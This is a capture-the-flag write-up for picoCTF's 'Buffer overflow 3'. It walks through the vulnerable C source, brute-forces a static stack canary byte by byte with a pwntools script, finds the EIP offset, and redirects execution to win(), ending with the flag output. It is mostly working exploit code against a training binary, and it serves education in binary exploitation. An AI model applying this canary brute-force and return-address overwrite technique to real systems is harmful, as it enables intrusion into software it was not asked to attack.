Buffer overflow 3
Buffer overflow 3
- Solver
- Authors
- Sanjay C., Palash Oswal
- Category
-
Binary Exploitation (pwn) - Points
- 300
- Files
- vuln vuln.c
- Remote
-
$ nc saturn.picoctf.net [PORT]
- Flag
-
picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}
Do you think you can bypass the protection and get the flag? It looks like Dr. Oswal added a stack canary to this program to protect against buffer overflows. Connect with it using: $ nc saturn.picoctf.net [PORT]
Warning
Warning: This is an instance-based challenge. Port info will be redacted alongside the last eight characters of the flag, as they are dynamic.
$ checksec vuln[*] '/home/kali/ctfs/pico22/buffer-overflow-3/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
I: Finding the Canary
So, Dr. Oswal apparently implemented a stack canary, which is just a dynamic value appended to binaries during compilation. It helps detect and mitigate stack smashing attacks, and programs can terminate if they detect the canary being overwritten. Yet, checksec
didn’t find a canary. That’s a bit suspicious… but let’s check out our source code first:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include <wchar.h>#include <locale.h>
#define BUFSIZE 64#define FLAGSIZE 64#define CANARY_SIZE 4
void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); fflush(stdout); exit(0); }
fgets(buf,FLAGSIZE,f); // size bound read puts(buf); fflush(stdout);}
char global_canary[CANARY_SIZE];void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'canary.txt' in this directory with your", "own debugging canary.\n"); fflush(stdout); exit(0); }
fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f);}
void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x<BUFSIZE) { read(0,length+x,1); if (length[x]=='\n') break; x++; } sscanf(length,"%d",&count);
printf("Input> "); read(0,buf,count);
if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately fflush(stdout); exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout);}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); read_canary(); vuln(); return 0;}
If you look closely, you might be able to see why checksec
didn’t find a stack canary. That’s because it’s actually a static variable, being read from a canary.txt
on the host machine. Canaries that aren’t implemented by the compiler are not really canaries!
Knowing that the canary will be four bytes long (defined by CANARY_SIZE
) and immediately after the 64-byte buffer (defined by BUFSIZE
), we can write a brute forcing script that can determine the correct canary with a simple trick: by not fully overwriting the canary the entire time! Check out this segment of source code:
if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("***** Stack Smashing Detected ***** : Canary Value Corrupt!\n"); // crash immediately fflush(stdout); exit(-1); }
This uses memcmp()
to determine if the current canary is the same as the global canary. If it’s different, then the program will run exit(-1)
, which is a really weird/invalid exit code and represents “abnormal termination”:
However, if we theoretically overwrite the canary with a single correct byte, memcmp()
won’t detect anything!:
II: Bypassing the Canary
We can now start writing our script! My plan is to loop through all printable characters for each canary byte, which can be imported from string
. Let’s include that in our pwn boilerplate alongside a simple function that allows us to swap between a local and remote instance:
#!/usr/bin/env python3from pwn import *from string import printable
elf = context.binary = ELF("./vuln", checksec=False)host, port = "saturn.picoctf.net", [PORT]offset = 64
def new_process(): if args.LOCAL: return process(elf.path) else: return remote(host, port)
Here’s the big part: the get_canary()
function. I’ll be using pwnlib.log
for some spicy status messages. My general process for the brute force is visualized here if you’re having trouble:
I’ll be initially sending 64 + 1 bytes, and slowly appending the correct canary to the end of my payload until the loop has completed four times:
14 collapsed lines
#!/usr/bin/env python3from pwn import *from string import printable
elf = context.binary = ELF("./vuln", checksec=False)host, port = "saturn.picoctf.net", [PORT]offset = 64
def new_process(): if args.LOCAL: return process(elf.path) else: return remote(host, port)
def get_canary(): canary = b"" logger = log.progress("Finding canary...") for i in range(1, 5): for char in printable: with context.quiet: p = new_process() p.sendlineafter(b"> ", str(offset + i).encode()) p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()])) output = p.recvall() if b"?" in output: canary += char.encode() logger.status(f'"{canary.decode()}"') break logger.success(f'"{canary.decode()}"') return canary
The final thing we need to figure out is the offset between the canary to $eip
, the pointer register, which we will repopulate with the address of win()
. We can do this by appending a cyclic pattern to the end of our current payload (64 + 4 canary bytes) and reading the Corefile’s crash location, which will be the $eip
:
Note
My canary is abcd
because I put that in my canary.txt
. It will be different on the remote server!
$ python3 -q>>> from pwn import *>>> p = process('./vuln')[x] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln'[+] Starting local process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln': pid 1493>>> payload = cyclic(64) + b'abcd' + cyclic(128)>>> p.sendline(b'196')>>> p.sendline(payload)>>> p.wait()[*] Process '/home/kali/ctfs/pico22/buffer-overflow-3/vuln' stopped with exit code -11 (SIGSEGV) (pid 1493)>>> core = Corefile('./core')[x] Parsing corefile...[*] '/home/kali/ctfs/pico22/buffer-overflow-3/core' Arch: i386-32-little EIP: 0x61616165 ESP: 0xffa06160 Exe: '/home/kali/ctfs/pico22/buffer-overflow-3/vuln' (0x8048000) Fault: 0x61616165[+] Parsing corefile...: Done>>> cyclic_find(0x61616165)16
The offset is 16, so we’ll have to append that amount of bytes to the payload followed by the address of win()
. I’ll combine all sections of our payload together with flat()
, and then hopefully read the flag from the output:
31 collapsed lines
#!/usr/bin/env python3from pwn import *from string import printable
elf = context.binary = ELF("./vuln", checksec=False)host, port = "saturn.picoctf.net", [PORT]offset = 64
def new_process(): if args.LOCAL: return process(elf.path) else: return remote(host, port)
def get_canary(): canary = b"" logger = log.progress("Finding canary...") for i in range(1, 5): for char in printable: with context.quiet: p = new_process() p.sendlineafter(b"> ", str(offset + i).encode()) p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()])) output = p.recvall() if b"?" in output: canary += char.encode() logger.status(f'"{canary.decode()}"') break logger.success(f'"{canary.decode()}"') return canary
canary = get_canary()p = new_process()payload = flat([{offset: canary}, {16: elf.symbols.win}])p.sendlineafter(b"> ", str(len(payload)).encode())p.sendlineafter(b"> ", payload)log.success(p.recvall().decode("ISO-8859-1"))
Here is my final script with all of its components put together:
#!/usr/bin/env python3from pwn import *from string import printable
elf = context.binary = ELF("./vuln", checksec=False)host, port = "saturn.picoctf.net", [PORT]offset = 64
def new_process(): if args.LOCAL: return process(elf.path) else: return remote(host, port)
def get_canary(): canary = b"" logger = log.progress("Finding canary...") for i in range(1, 5): for char in printable: with context.quiet: p = new_process() p.sendlineafter(b"> ", str(offset + i).encode()) p.sendlineafter(b"> ", flat([{offset: canary}, char.encode()])) output = p.recvall() if b"?" in output: canary += char.encode() logger.status(f'"{canary.decode()}"') break logger.success(f'"{canary.decode()}"') return canary
canary = get_canary()p = new_process()payload = flat([{offset: canary}, {16: elf.symbols.win}])p.sendlineafter(b"> ", str(len(payload)).encode())p.sendlineafter(b"> ", payload)log.success(p.recvall().decode("ISO-8859-1"))
Running the script:
$ python3 buffer-overflow-3.py[+] Finding canary: 'BiRd'[+] Opening connection to saturn.picoctf.net on port 57427: Done[+] Receiving all data: Done (162B)[*] Closed connection to saturn.picoctf.net port 57427[+] aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaBiRdraaasaaataa-auaaa6^H Ok... Now Where's the Flag? picoCTF{Stat1C_c4n4r13s_4R3_b4D_[REDACTED]}
We’ve successfully performed a brute force on a vulnerable static canary!